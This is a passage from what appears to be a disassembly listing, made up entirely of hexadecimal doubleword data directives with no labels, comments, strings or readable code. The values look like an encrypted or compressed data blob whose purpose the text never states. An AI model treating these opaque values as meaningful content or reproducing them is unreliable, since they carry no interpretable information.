9EAC7D13h dd 6500DC61h, 72B1646Fh, 9790F5BDh, 41503B87h, 0E7FD71BFh dd 81FE62A0h, 0CE6E4B62h dd 0E8B51212h, 99479080h, 18A5412Ah, 0DE9BE009h, 3340599Dh dd 0AE905E61h, 3FA62157h, 0AB600B73h, 0D6F15078h, 0ECEE5600h dd 773A5Dh, 1ADD752Eh, 0AED07A3h, 53FDA900h, 6697D4D1h dd 0B1B30BBAh, 0BC4D905Fh, 3A94A7C0h, 1EB101D8h, 0FCE8BE6h dd 7B287288h, 79FF9A2Eh, 93B1A10h, 692E7D11h, 8277B751h dd 0AAB1AC3Bh, 54F97141h, 8387A8BEh, 989A46EDh, 0E77D1Fh dd 63F8677Eh, 1179A884h, 87D4F64h, 1999A181h, 0D494A06h dd 3E9B4A1Ah, 253CB280h, 8E5E0FD4h, 2095B8C8h, 9CA114C5h dd 466FE01h, 0C865D845h, 0C01BA87Eh, 0D05DA9BAh, 0FE1EC01Ch dd 4352D668h, 6056D41Ch, 46076152h, 5F509AD2h, 12240481h dd 0A85754FCh, 8DABD73Fh, 4454CC33h, 4EDAB000h, 45873DAEh dd 0ADEE0219h, 28DB509h, 95642ED2h, 62F860A9h, 0F63B3380h dd 0BF03E2ACh, 75BA8D1Ah, 0EB67FBC1h, 384A196h, 0DFBF6841h dd 2E71C424h, 0F491AB69h, 411A929Fh, 8F513988h, 4760D0FFh dd 0C12E27E2h, 1D9C49h, 5ACC8A51h, 0B83C1058h, 8467DE4Eh dd 0FD83FAD2h, 0D10624CBh, 56160A98h, 61091CE5h, 8909C091h dd 7EC39195h, 3EA1B5B1h, 0D4EE1B11h, 8C1AE830h, 0D5164D01h dd 0EB700C6Ah, 0B6C8B240h, 91E84ECFh, 0F0B5E2A1h, 0AF91508Ah dd 0FBBA5318h, 0B9C0F359h, 0A44714DEh, 15533510h, 0C1230A00h dd 58C0FCADh, 0EE53A400h, 0AF283C87h, 805606B9h, 0A691D4CBh dd 2D798512h, 2D291628h, 0EA080D9Dh, 44D352FDh, 0A0413A51h dd 31000AC9h, 5DD0D19Dh, 0C18468FFh, 0E57E054Bh, 53AD738Ch dd 0DF34CD28h, 0C004DB57h, 6A98A556h, 88AF1A31h, 3A646C51h dd 29EB5956h, 8A80A656h, 826296A2h, 0E05E0ECAh, 0AA20D1E6h dd 973A998h, 2952F60Bh, 0F67D6444h, 35AB009Bh, 1CD7A5EFh dd 0F813E168h, 44C89E66h, 457C0061h, 71097460h, 0E300C214h dd 3481C3C4h, 495D824h, 0BD234A79h, 5F40BCF1h, 389540EAh dd 8AEB3D1h, 7A003573h, 681188B1h, 34958B05h, 60D3254Dh dd 39BD01E8h, 9812242h, 7E2FB99Dh, 9A9388B8h, 92648F7Bh dd 0D78D970Ah, 0D75154A8h, 0E3E009ECh, 221429F1h, 606C85A0h dd 728737FCh, 54F920B5h, 6D0129EDh, 4AA5783Bh, 9D304989h dd 686102C1h, 0C6AE464Dh, 2240817Eh, 0E752780h, 0F52F6BACh dd 4414C320h, 5A09E5F0h, 0A1EF7132h, 572A36ABh, 0DC745EFAh dd 5F6FE601h, 706EF0E7h, 0EECA9297h, 6E6A0489h, 365B0053h dd 0A7153756h, 964B5021h, 0B91E4081h, 0F865541Fh, 5D92D7AFh dd 5834D3FFh, 4E318720h, 1DA16011h, 0B920FA49h, 0D4305225h dd 0E040505Eh, 0A8C8FD2Ch, 43A54F2Dh, 1319BD1Fh, 3ACC89E4h dd 0F2DB4456h, 0F8179D85h, 0C64F80E8h, 2C5D4E1Bh, 398C9894h dd 0C51AECA4h, 0B8B6FD49h, 43DA004Fh, 846895A2h, 8E49EF64h dd 4D6D00B8h, 526002FAh, 259D1289h, 0B2A2571Ch, 906E2D21h dd 0FCF5B8Bh, 42F5EA27h, 0D173F140h, 8B1B0874h, 81318F0Fh dd 0F26615Eh, 2CE2F82Bh, 1B911A58h, 0C1CDC309h, 0EA8CA1C5h dd 9BB40002h, 1AE6CBFAh, 2202305Eh, 0A36F3A25h, 0DBE788CAh dd 0B4B7D5AFh, 2E301A00h, 128DAD98h, 8DDAD783h, 0CBAA3110h dd 0A502DEAh, 0DF046A28h, 68744A00h, 0DB0326E8h, 0C52549B5h dd 0FCE9180Eh, 0E117A693h, 206A19ACh, 14C91751h, 0C6D41A00h dd 0F8827802h, 0F0813A74h, 447E7202h, 8E5DE542h, 0AA6B1017h dd 23684148h, 42EE5917h, 6709C515h, 519BEF12h, 267403F5h dd 67C00F60h, 7E7297A6h, 5A8B861Bh, 0F95010C2h, 95FF050Bh dd 8FAD27C9h, 0DC3126E8h, 2E05549Fh, 928C622h, 296D97DFh dd 4DA328E0h, 0C184A291h, 8C3D1779h, 9590137h, 0B6B157C6h dd 0EF05CFACh, 4FCDBA4Fh, 0BFA02A8h, 8A2740B9h, 56B21B02h dd 0EA9156E4h, 78727A80h, 0B93292h, 0E2CE9973h, 0E6A1A659h dd 2D9964B8h, 66525000h, 26A5A8B9h, 60EF310Fh, 57DC569h dd 7BEE7F00h, 8509304Bh, 3DC7A74h, 2CB156B8h, 678F585Ah dd 860F52FCh, 90C296DCh, 0B9907757h, 920021FCh, 540C0EC1h dd 2C3556h, 468F23D8h, 8B68CB94h, 5A59FA13h, 0E2EC1283h dd 63375790h, 0CBB84000h, 2C95E1ACh, 89357F2h, 5A1806C9h dd 2FC4F65Eh, 91770B6Ah, 40C229D5h, 26ECF54Fh, 131C9752h dd 0A6C513D6h, 0DC79F3AFh, 84D1F4C3h, 0DF077A18h, 7CEEE2DAh dd 0D58A0962h, 0B5AA5F0Bh, 641293Bh, 85E0B58Dh, 8A50F904h dd 968589D4h, 87E035E6h, 504B9C70h, 4495F520h, 9DF00D3h dd 0AF4DA9BAh, 5706E294h, 9EF62DF5h, 0DC68B4A5h, 3F3E457Eh dd 0B19E8F1Eh, 0C1DC3964h, 956B497Bh, 0A7C414Ah, 5E9A02DCh dd 0B6E4D4B0h, 0FA410CE2h, 17F03295h, 0CCEAC00Bh, 5D208DB6h dd 0D3E9241Fh, 9D3182BEh, 9CC0FB5h, 14C4AC85h, 0B5314F60h dd 8B7B6567h, 0F91C9269h, 0FD9E0021h, 31D66E2h, 0B8E4F600h dd 5596AF9Fh, 2046258Dh, 0FA00D551h, 19B0D9C2h, 158C220Fh dd 8F3AE858h, 43E3801Dh, 9BA1F5h, 11A84CD1h, 0C02A3E08h dd 2B8F5F4Ch, 3B78DA04h, 0D11F00B1h, 6BFD3188h, 81490F1Eh dd 2BCB8FEDh, 20A24682h, 11B72115h, 160E883Ch, 0DCA461F1h dd 51F82EBFh, 34BC6041h, 5BF6EF52h, 0F9059F8h, 192F9D99h dd 0EC51FC52h, 0B6102C84h, 0EB25E989h, 0EAED5505h, 0CCC23E0h dd 20D790B2h, 80182275h, 84C2207Eh, 895FC2BCh, 0E586DB5h dd 0A5F6604Eh, 0BABB0E7h, 4504839Bh, 824DFA0Dh, 1DE551C1h dd 8B074B05h, 56051FA4h, 120376E0h, 3282E915h, 0BEA4FD69h dd 0E123B640h, 68847FE5h, 2A83135h, 69B3DBBFh, 0AFC64DC3h dd 0E4BA82D9h, 8131E87Eh, 1C40EE1h, 0F425090h, 0D9B2FBBFh dd 1102374h, 441D8D50h, 0FEE4D82Bh, 952F5875h, 0C240E8EDh dd 8F9416CDh, 8467F05Ah, 28881045h, 0B9002649h, 46862FBAh dd 8BF359E9h, 82388012h, 4C5E7B88h, 1D21372Dh, 0B05300D4h dd 2BB60933h, 0B90052EAh, 7CB2DC69h, 0A91CE959h, 0D6523D49h dd 40385E48h, 5A55F176h, 12AB4205h, 50D28DA4h, 3B8A0F1Fh dd 12A16AE7h, 0FBAA331Dh, 665CC82Dh, 2F12CCA8h, 418AC9DAh dd 0BF40D772h, 5BA143DAh, 8031DB40h, 0FF54839Ch, 15D70534h dd 0C0AB2C7h, 0E9B2CAE2h, 0BD83DDC2h, 839590Dh, 77AF8A84h dd 0E9B753A0h, 0FC0A8F39h, 8EC7362Ah, 932DD08h, 5A989059h dd 0A0007A07h, 6653DC3Ah, 1D8EE32Ch, 8A38FDECh, 188360CDh dd 61D006FEh, 0BA0103B8h, 25094F69h, 2E6C0390h, 0B5704594h dd 8D9C882h, 0D130600Bh, 4EF3B650h, 0B7B32800h, 0D902BA99h dd 0CEE215F8h, 0DC2F7490h, 0E6E9762Dh, 0CF58025Fh, 0AA55413Ah dd 30C41B62h, 0A88490A2h, 0B69042E5h, 0B9CCA5h, 22589EADh dd 0AA4B25BDh, 2F8A1A00h, 0E39123DAh, 0DB904E5Dh, 6D1B80B4h dd 131CBE60h, 0C20A5779h, 90756108h, 4F0E62h, 2FD68162h dd 0EAE280F6h, 9285948h, 9F928CAh, 0E45747E1h, 715A6016h dd 80ABB987h, 7D810C0h, 0D613C408h, 1100FB4h, 7671C086h dd 0EA306304h, 3D34001Dh, 6D0AC9C5h, 1CB0B7DEh, 1786B904h dd 0DC82F36h, 1E668A33h, 0F8A76C9Dh, 0DE025EE5h, 0CC498085h dd 1864E5D2h, 1AC610B7h, 914F9D01h, 40D914h, 958027Ah dd 0AA33A1BDh, 8D51F4h, 0CE15AC5Fh, 4D38D8A6h, 0F5A00E8h dd 1F3816E6h, 0DF112DEh, 877101EEh, 203A1AC5h, 0D92CB960h dd 83169FCEh, 1AADAF61h, 0C1EBC404h, 140C80C7h, 0B0D2DCF8h dd 8DC43080h, 0D4E12E8h dd 0DB7146A0h, 2D002B69h, 5497CCDCh, 12F823B3h, 304349AFh dd 16CA4E8h, 0EAB76E04h, 74E27225h, 84802E3Bh, 0F4CBE059h dd 0A10FB185h, 64E23BFFh, 0D9855A49h, 8A90DE0Dh, 2995856Ch dd 0A08BA6D3h, 72E59928h, 0EA8A25F9h, 308DF46h, 280C758Dh dd 1775982Bh, 0E21F39B5h, 5684168Bh, 30B0FEB7h, 83390A3Fh dd 66C09E6Ah, 9531BF44h, 2D666186h, 9572B501h, 4EF1A9F4h dd 0C2158836h, 0C3610B45h, 0F8A542D7h, 676DBCCAh, 1441EBE0h dd 0EFD04D2h, 0D47824B0h, 288DE190h, 689B5B6Ah, 0CA1BC282h dd 53E2EC89h, 0A4193755h, 0BD2941C8h, 80DA5495h, 6924D945h dd 0CB91DE94h, 602A6026h, 0BB6C3601h, 0AA260E04h, 538C1297h dd 67CB00E1h, 0E578FB3Fh, 0BF003652h, 3ECA620Eh, 0B75061F4h dd 0B5A33A46h, 0F6594F84h, 178025DBh, 0C0A4A792h, 637F7013h dd 854EF8Dh, 0BC13BDAAh, 0B4E03A1h, 8E74BFBCh, 9280169Ah dd 8BDFD8D2h, 5C4966B4h, 1A0C105Dh, 0B74765E9h, 0E30E801Eh dd 151D1870h, 214CF576h, 299FC0B5h, 48032Fh, 8161BB6Bh dd 0B1F947F7h, 0C6305B76h, 0E9FCF31Ch, 0E3FFF891h, 1B81C7Dh dd 9B418800h, 688BFFB1h, 66DB175Bh, 0E4E78871h, 7A0033F8h dd 13990E44h, 44F6A694h, 90E35B61h, 809EE830h, 272987D1h dd 160FBA94h, 1712EE64h, 0E395A04h, 822CC413h, 0C57C9DBBh dd 29E9928h, 2E37A5h, 64F7E94Dh, 1348DD80h, 28AD139Dh dd 36807B9Eh, 2CA5E262h, 10C1A85Eh, 24058B64h, 0B857BD3Bh dd 95AF0134h, 54DBF690h, 5A7460D7h, 0BF04727Eh, 2347C5A5h dd 76BD4AD5h, 3C005CB8h, 7AD82DAFh, 12730CBBh, 0F1595302h dd 805D1E36h, 0ECF99A6Ah, 0F32C00D6h, 95336070h, 0E49721F5h dd 731545E5h, 0ECCF004Ah, 3094F54Ch, 21740058h, 16970E9Ah dd 0FEBE103Fh, 0F229C840h, 12200F4h, 37200F44h, 1958812Fh dd 51DC0EDBh, 3E8D3259h, 0A9E8EFEDh, 994B0062h, 0FEE49C76h dd 0EA258090h, 0A078E6A7h, 8132313Fh, 89B62C50h, 8EE7C3Eh dd 94242D75h, 27FF7225h, 0C17BC08Bh, 0FB2A7071h, 69BDCB24h dd 648DE7E8h, 958970E6h, 7C6A8AB1h, 5F082740h, 746F6034h dd 816EEAh, 0B51A5711h, 0BAE810Ah, 58F78ACEh, 92BB7737h dd 210B723Ah, 26B25189h, 0C20C31AEh, 7E60C108h, 94A24120h dd 40A925F7h, 0FF004D64h, 0D913ACDDh, 695EE187h, 0C884DC61h dd 410582CEh, 0CF03F171h, 0DE894BEBh, 0BA64CE54h, 0F00E1003h dd 5376EAFBh, 14C28314h, 41A138A1h, 509CFFE7h, 50264065h dd 6B7676BFh, 506046F7h, 325805E8h, 0F01AC22Bh, 388593D6h dd 37AB5A4Dh, 50B760EAh, 0D01D033Ch, 459A3A81h, 5DF2FD19h dd 0AAC2D6Ch, 4CD969E9h, 0D0C8DE06h, 1B31D520h, 4F3C4003h dd 7520C2BEh, 0F58B790Eh, 26051288h, 5BF8363Ah, 30C181Ch dd 0D8120D1h, 8D84DDEh, 82164112h, 4BDBD9FFh, 8B51CC90h dd 100A1D90h, 14B0A981h, 3359B530h, 0BEC35FC0h, 2924CC72h dd 68014273h, 0D49AA7D2h, 0A8FA342Bh, 2894D6F4h, 647DB8ADh dd 0A2D3EB2Dh, 0A27000D1h, 45E97BB4h, 3C2D000Bh, 9A71578Eh dd 8209443Eh, 6460FDCCh, 0A04B009Ah, 422F62A5h, 0DC0020EEh dd 1CF71171h, 0BF48C64h, 596192B7h, 2198DB18h, 0DF385600h dd 0C181BA04h, 8971556Dh, 0D0B6372Fh, 0C1494FF2h, 87A25FF6h dd 0FF70015Dh, 0DA410834h, 77235EDBh, 8F66007Bh, 0F6818D63h dd 0D61DC6ABh, 80FAFC7Bh, 67D91E44h, 6028B351h, 9C19225Ah dd 4BC37CC7h, 0E0013489h, 0BCA9BF3h, 8A602D0Ah, 0E883D383h dd 0CC38BAE8h, 4807C118h, 1381F902h, 0C18F40F8h, 3DB08586h dd 4282248Ch, 0DCE6F54Bh, 0B21CBB00h, 0E56319Eh, 3ED33A70h dd 380F6EBEh, 1320536Fh, 5F5877DCh, 1EE39600h, 0BE2C0464h dd 0E5510010h, 0B7F2A5F8h, 690D404Ch, 0DE93C5FDh, 67DA9C8Eh dd 5B5677A3h, 826F5803h, 0CBC68A1h, 72A77038h, 0F30FF668h dd 401731CDh, 0DF135634h, 603E00DEh, 0EC106F2Dh, 0C71691CBh dd 8C027016h, 9E77AE78h, 0E8042320h, 0C44DCF04h, 3985486h dd 19F941B8h, 71CF2FA5h, 807D576Fh, 0FD645EF1h, 0C14E7C2h dd 7CFF6ADCh, 21C01608h, 86FD6DB3h, 0B73030Dh, 207906CDh dd 0BE307EE0h, 0E844F230h, 60EDC38Ch, 0C893B0C4h, 0BB037E76h dd 90A36F02h, 3B30783Dh, 653DC1D8h, 0BF52D30Fh, 0D708AB2Ch dd 7F206E60h, 1203DBAh, 0C17DAE1Bh, 0C8B426A5h, 0FF1EC8F6h dd 7F4595F2h, 0B85D3FCCh, 0C4331ACAh, 423DE782h, 0AC780C82h dd 3BC47F8Ch, 3046A36Eh, 0BD7A2121h, 691EA3Dh, 0E8934B5Ah dd 2485C068h, 60A8D2C7h, 441B2DC1h, 19AEE505h, 0A400AC07h dd 4597CC7Eh, 70E887h, 0BED49430h, 7125F66Dh, 411AB502h dd 8243374Ch, 63CEACh, 806C7ED5h, 386080E5h, 1787AB8Fh dd 9E9A5CF6h, 8B2EE19h, 0AA21807Ah, 7F7B87A3h, 2A3F7E90h dd 81E48457h, 631868FCh, 0E7C7FD08h, 406BC47Ch, 16FD68BEh dd 0A95B3D04h, 0EA823480h, 2C911D10h, 0E99B88A8h, 0AE2B0FEh dd 4D7B2400h, 76D79FABh, 23DD005Dh, 0DAA53E9Bh, 7F28EAA3h dd 40A7D4B5h, 0A2601544h, 2500EA74h, 0AD678A78h, 0A8BAF270h dd 0F657B0ACh, 0AB98A34Eh, 619180Ch, 292A21BFh, 0EE327300h dd 33A2BC42h, 9039399Ah, 4A12E906h, 0DF21A062h, 896A11ACh dd 0E7F20261h, 1450916Ch, 0FD76BC10h, 9DF7D300h, 4E597E93h dd 70103480h, 6DE00820h, 1687A8C0h, 228246F6h, 0A0A9017Bh dd 0E5C99187h, 43989096h, 48C62FCh, 1FCDE501h, 808C816Eh dd 6A4C52CCh, 1187A930h, 888AF669h, 0A1A88085h, 1B9ED987h dd 58457501h, 65A51D70h, 40B6BC20h, 6709616Ah, 19C890A8h dd 0C018A0A0h, 0DBB842EDh, 0D345A04Ch, 3DB9C8h, 5AFCAB0h dd 6C5694F2h, 82A3D1C0h, 0E14DB55h, 0AAB8ADCFh, 9B233A0h dd 0E97C0C4Bh, 0BF988550h, 6E23B542h, 0C1FD6501h, 3D0E0CE7h dd 3EFD10B0h, 1379A711h, 0B8217334h, 7030C235h, 0B0BDF011h dd 5B30A8F7h, 542C1D12h, 728BCF30h, 0AD087FECh, 6A7921C2h dd 6754C02Ch, 0BDDC3457h, 0A9C0418h, 5A49008Fh, 3223F5h dd 0DE89FFC9h, 3E35061Fh, 0BE702383h, 572C1301h, 0A1186730h dd 6B7888h, 703AC52Ch, 358BF60h, 3BC9C0C2h, 0A7911D17h dd 5B0D9480h, 930E1D84h, 8551B55Dh, 0DC1069F4h, 0AA0B10BCh dd 60C06B88h, 46E7C6FDh, 0BF897574h, 0F400A261h, 3104A91h dd 8413D9BDh, 7892CDE7h, 5468C4A4h, 169235Ch, 0F6128654h dd 887918A2h, 8703ACADh, 0C3F88C23h, 57B1F947h, 586FB088h dd 0F7C5E703h, 3C691075h, 8C7BF872h, 0C3964704h, 1480CD95h dd 0E9ED3968h, 20F8E9A0h, 131F825Ah, 29D4FBF4h, 10F848C8h dd 7688447Eh, 158655C0h, 70AA52F6h, 87ADAC80h, 0D3041F8Fh dd 5A4EBF49h, 0BC9884D1h, 762E3C41h, 0FF261E00h, 67099CB0h dd 113C6506h, 6918B830h, 31A92C08h, 40A4C437h, 3D2C617Ah dd 6EEC66h, 31EB34FEh, 0F41EA135h, 0BE142676h, 23684376h dd 86570168h, 18BAF613h, 0AFAE8887h, 271C07ECh, 6C421098h dd 8ED125CBh, 0A83BB3A8h, 0F8008323h, 1BEB736Bh, 0B47700E8h dd 88C9C8DEh, 0FB587004h, 56308724h, 91F6914h, 6084E0C0h dd 0C2C67ADh, 60C34DA3h, 7D80D588h, 0E46A3DBCh, 0EA9F03DEh dd 1A3FA579h, 312028E8h, 4C987548h, 8C79F80Ch, 45181F01h dd 65BA4E30h, 3DF4A885h, 0B9C88890h, 1E03ED00h, 0D49F8FC4h dd 0A4570041h, 0DDAD5A82h dd 0D04A2D3h, 0F13926E0h, 10E54C88h, 295BA35h, 15EB9616h dd 0F8B881D5h, 88666B80h, 1B6E67F0h, 2C316300h, 28EE1EA3h dd 65DB0002h, 0F49A8B90h, 0C66755C3h, 6AAE5E68h, 0B243C4E5h dd 5CD178A0h, 49DFA0BFh, 0D380A67Ch, 1658D252h, 57713C00h dd 144853C1h, 619A035Ch, 8AD73064h, 48CB877h, 0E7C0FD62h dd 3BB13804h, 3280FD6Bh, 2C43057Fh, 0F225A42Dh, 93007A7h dd 4A48A687h, 2E7A5C0Ch, 3609018Ch, 12763055h, 0F2E04045h dd 254C89E3h, 0A2C453CCh, 358230A7h, 0ADF69F00h, 7363D245h dd 0F339181Bh, 3103D97Fh, 3A2AE25h, 0B8E7CE28h, 4D7F1AA5h dd 60B805Dh, 0B410573Ch, 0C500C62Bh, 1894BD72h, 0CA85FAh dd 0C18CDA0Fh, 0FC0B0ECDh, 27F23D24h, 34574030h, 502A30AEh dd 0F327EE60h, 6F6C2E1Dh, 6006A6C9h, 0C814F6B0h, 10C0BFE0h dd 5830562Ch, 7BE09C7Fh, 8D062C68h, 785603F8h, 7121E7A1h dd 0FA240C40h, 4D8003DFh, 0A88701E4h, 265E30F0h, 0D9C04C35h dd 7A23B43Ah, 7962853Ah, 0E0413133h, 5C5F19C3h, 1D90F092h dd 35E6819Fh, 844FC6AEh, 0D291FBE1h, 0D5306880h, 8C1007EDh dd 80473A17h, 0C2796B7Dh, 0CBF48804h, 0DCB0234Dh, 7FB626AEh dd 84467CFCh, 40B3731Fh, 35154ADBh, 0FA153B9Dh, 3CECB0BFh dd 46F224AEh, 34A1F421h, 9C188771h, 64F13109h, 59580734h dd 60B944C8h, 23A82C16h, 0A0110F31h, 2C6E7D03h, 0FF1806h dd 85A3DD98h, 143A99D3h, 0F9007823h, 0A70D3F84h, 53B330FAh dd 0D5310AE8h, 0F7FCD452h, 0FD09C078h, 0A8073369h, 0B8114F20h dd 0EB44820Bh, 0F68F0180h, 0F2E620BCh, 70B2DB30h, 4E3E2DFBh dd 233C3B9Fh, 543C002Eh, 0AC25C915h, 3FBAC804h, 9C8C82A6h dd 0AAD09569h, 93DBCD18h, 4AADA368h, 230C2F72h, 0F3D300A0h dd 0C0D90EFBh, 0BEF79CA0h, 10CBC8D2h, 7CCA60C8h, 2C1C5B17h dd 64E84514h, 6E606D48h, 0E723C4FDh, 16611164h, 280277BDh dd 9012A114h, 40031AB0h, 3F0590B0h, 0B80D5689h, 0FCD68D0h dd 50B8A49Ch, 0A278E367h, 0EEFCE508h, 80928FB1h, 0EC95B813h dd 0AC6504E4h, 0F062345Dh, 2114C3A0h, 90945127h, 0F5D7E8F4h dd 0B300200Ch, 0EA6018B5h, 5827DCA6h, 0D112844Eh, 0D52CD2DFh dd 89C15C4Dh, 62FC1CA4h, 3DF802C5h, 0B6066D4Ch, 0A6E8FCA3h dd 0B78229D0h, 0AB65ED00h, 16090D37h, 334101E5h, 7C0E054h dd 6B3180B5h, 148E9865h, 0D42F00C7h, 4D9E3EFFh, 22163B43h dd 88214B17h, 0AE086DBAh, 60D8F78Ch, 22AB46A3h, 3787A2Ch dd 0E9C3A13Dh, 5078BA43h, 0FAAFB109h, 0F57C0059h, 49381E33h dd 158570BCh, 17A0822Ch, 0A344704Ch, 2C6D0006h, 8528B6C9h dd 49041AD6h, 0FB3F32C7h, 0FC0B0DBh, 51B97919h, 0E374FB01h dd 0AA6F1AA3h, 0EDF8FC69h, 46513942h, 8FDFC3Ch, 0E8461B20h dd 5206E4Ah, 6BE321A4h, 0B4A06D84h, 2DC9026Fh, 63BAC7BCh dd 0DAEC784Dh, 2C4F3BFEh, 0B7EF1C81h, 0CBCBF5C4h, 0FB3EC100h dd 0CC3DF3F2h, 0D980B916h, 6518ACh, 35F41E9Eh, 0E7834D68h dd 0D4DCBC16h, 8423282Fh, 0F49A4400h, 28C8DF5h, 0EAA3ECF6h dd 0FC4446C7h, 0A7F9CB09h, 0E504B248h, 6ED26204h, 0EF7418h dd 6DC12C47h, 33C39012h, 0C5E79404h, 288097CBh, 2754EAA7h dd 0FCB7444Fh, 0F880E29Ch, 25E5B83Fh, 589D62C2h, 8CD1BF69h dd 0EF81171Fh, 7B843D80h, 1B4D25FCh, 21A906A7h, 107C6800h dd 0EEDBB376h, 0CC160063h, 7724462Ch, 152956ADh, 15ADB8C0h dd 80829154h, 8C79A055h, 48B83FEFh, 0E704B639h, 0C88FA22Dh dd 3171792Ch, 4BC0828Ah, 8FE503B0h, 0A7902043h, 5BD9C158h dd 8268F4C0h, 0DF0C2FFCh, 693E3A79h, 25EE031Eh, 0E360390Fh dd 0CBD0D5ECh, 0CEA1C860h, 0E95DFE60h, 0C02C6979h, 830ABBCEh dd 0C68E8477h, 4AD62003h, 1D9495Eh, 0A763ACCDh, 233489F2h dd 3063E200h, 0B337C6BEh, 60C1D1A7h, 0A448912Fh, 0F4E30078h dd 97E28BD2h, 22677C7h, 6E015C4Dh, 6F103C79h, 0D5ECE078h dd 0E985078Ch, 90DA435Ch, 0B43E6B8Eh, 21EB960Ah, 3A82A4C4h dd 50ADCBF4h, 0A42B1624h, 39200847h, 0E6057CBFh, 0A886EE33h dd 0B344F0C0h, 0F8C70AADh, 8F6CB275h, 0A3A6EEC0h, 0C971116Bh dd 0DCEBDB28h, 3D6A520h, 372491Dh, 28A65991h, 0C2208050h dd 1C95FF05h, 0E0CEDA9Bh, 0C050D0CFh, 77B7C547h, 0FAA309BCh dd 10895E2Fh, 17E44065h, 0D7BEE060h, 9A1C990Ah, 0B2408891h dd 3AF48Bh, 0C653EA0Bh, 959FD19h, 0C5F75500h, 8891BE35h dd 0C93E1EDFh, 78D280FFh, 0F47568EEh, 0F01F9902h, 8F3579FEh dd 92C4A16Ch, 0C986CF83h, 89715638h, 0F498E00h, 76AB3B79h dd 7AA61C24h, 319285BCh, 2F1817DEh, 8523D8h, 39806EDh dd 0C3F428ABh, 36A7F309h, 2DB80763h, 0D160FC53h, 0B46CCD89h dd 78CA4ECh, 4A308E49h, 71C32EACh, 600EFE9Ch, 6EAD7FD5h dd 342FF609h, 0EF00A023h, 0E85EC1FFh, 0C0837BDDh, 0FE8F88D9h dd 8C002C85h, 6E1553FBh, 0F4EAB9h, 6791306Fh, 95A7CD09h dd 0A1126899h, 0B0C73063h, 8CE3A363h, 71D444h, 91A43DB8h dd 685F6648h, 0F809287Ah, 218BFA89h, 3BA50734h, 38CB5089h dd 2235AC02h, 6DA3B201h, 2E18A980h, 1263089Ah, 2A50906h dd 7E40BF9Bh, 0EC39124Ah, 35B09034h, 0E08393B2h, 99CE2619h dd 888268Ch, 0E507B427h, 0B726C3F9h, 2C377811h, 8646B80h dd 1E008323h, 57471C58h, 5868FBB6h, 4079CB12h, 6EE05ECCh dd 889C15EBh, 8DEABD3Fh, 7183EEC1h, 0D3F3D093h, 34C91D90h dd 22609F97h, 876089E7h, 0C9F03174h, 62FBDE1h, 0F1C36B7Eh dd 0A90399CBh, 754641B3h, 65E810EBh, 0CC4704BBh, 83059E73h dd 0FB3803E4h, 0A014C859h, 81F4A6B2h, 209036CFh, 456B9980h dd 7081FEC3h, 10054B01h, 3B99FDCEh, 926DF2E0h, 0BF480C1Ch dd 0ECF814B2h, 852C40E7h, 0CA887C83h, 0E7B23F71h, 0FE988800h dd 27643069h, 979F943Ah, 0A10248DAh, 0EA9BEA23h, 8A90603Ch dd 7BB9C874h, 39801B80h, 0EC185C1Dh, 9D4D0140h, 564C0E0Ah dd 81D3CBC8h, 0FB965B80h, 0A83E7D28h, 0BBA99060h, 2C2B1AA7h dd 763845CEh, 7001546h, 4CFE1B1Ah, 5104A746h, 13CF5C9h dd 38E614C5h, 1B3AFE0h, 0A627D201h, 8262E232h, 95159EE8h dd 46BD8C9Dh, 2DC1F902h, 1840AF61h, 0BE5B73E0h, 9C2F8417h dd 0D0008223h, 9781DB92h, 0B9F459h, 0CA792430h, 841FEC93h dd 3300497Bh, 0FFC8DA10h, 6F5B3FBh, 6A6310Ah, 2765C87Bh dd 9CF26F51h, 0D93014F2h, 6A9E0D3h, 837A48D0h, 0F005175h dd 0D8C50429h, 9450E78h, 0EA5E6ABAh, 7911DC9Dh, 0C10B4480h dd 525E563Fh, 6658901Dh, 0C25F89h, 0BE9076BDh, 57DBC0ACh dd 0F83EFA28h, 7ECE800h, 0E55B0FBCh, 0EE5B25h, 29F41EA0h dd 8A314E31h, 0E6725068h, 20384035h, 8C6BBCh, 1AC19D84h dd 62B1B9E4h, 0A66E2A31h, 3C3451B6h, 8EC2D6E3h, 0C0A1C8B4h dd 0CE62247Bh, 0F228C803h, 0DE11FBEBh, 0DDF450h, 68B4C4B7h dd 0D33F3CF4h, 8CE6373h, 0B8E9EAEBh, 7C61930h, 0BA59C0A8h dd 6E2603CFh, 9E6C7100h, 0C7C33A46h, 5C62B0B3h, 0FE10CC8Dh dd 796F027Ah, 86EC83Fh, 0C0D60DA0h, 0EE108049h, 0F2907F21h dd 79D334FBh, 0F210F2E8h, 0D01630A7h, 95C08D01h, 3164749Bh dd 0B44E56C4h, 1F600C48h, 65432298h, 0A7C0192Eh, 0D0880417h dd 683C606Eh, 30B970Dh, 20CB22BDh, 0BCB27F4Ch, 0A7C9CC3h dd 403CD4F4h, 203D796Ch dd 3FAF4686h, 0A36189C5h, 80C465B3h, 513DBE7Bh, 29042810h dd 9EDB64E5h, 0C50740A2h, 8EB57C1Ah, 0F7070540h, 2B0F9774h dd 0C3E2BFB4h, 9875CBBh, 0E1FAC9A6h, 0D2E49445h, 0ED3C1B60h dd 1D337A03h, 0C499FEDBh, 22814CC0h, 0C1ACA036h, 45A5806Dh dd 9A3DE513h, 0E004FC53h, 4D02ADF7h, 2C56163Ch, 0EE58BB00h dd 25AA1BEAh, 0F8203E79h, 526B22A5h, 68EE30C0h, 0F6CF6Ah dd 0A75D11A6h, 79CEB33Fh, 0BD62487Dh, 69738008h, 5960A300h dd 0D82000AEh, 1CEB67A4h, 0C02E441Bh, 0C71F2654h, 73BCB384h dd 0BD1E24A7h, 0F02ACF2Eh, 0C0FF1C24h, 59DDCD80h, 2B985F51h dd 0C800146Eh, 21C0322Ah, 0F5021D46h, 93C4475Bh, 896B268Fh dd 0A27D601Dh, 490C8027h, 782024E1h, 1C709A6Dh, 4318ACBFh dd 0ACF90CEh, 0CBB39F90h, 0C1F06298h, 5E1A9705h, 74079E39h dd 0EF84B8E5h, 8C6B6F4Bh, 0F4108FE0h, 0CB51EB14h, 10544C97h dd 0C90071AEh, 0B62AE3FFh, 86F6319Eh, 663CA09Ah, 88BE079Fh dd 0CD8BDFDCh, 8003C7CCh, 67819B1Ah, 3A51077Ah, 0BC542CF8h dd 41098CAAh, 9E52C9h, 0C50D2834h, 1CD1EBAh, 3124E0B3h dd 8043DCB8h, 97890068h, 0A06D27E3h, 69014F41h, 6B113120h dd 0F743E5A8h, 8348180Ch, 0B78A317Fh, 0D30028F4h, 4439BD3Bh dd 3994D7A9h, 50AEF505h, 0C5283BF8h, 933E12A4h, 8804CEF6h dd 2EAEC1ACh, 995092B3h, 2D902081h, 6C8824h, 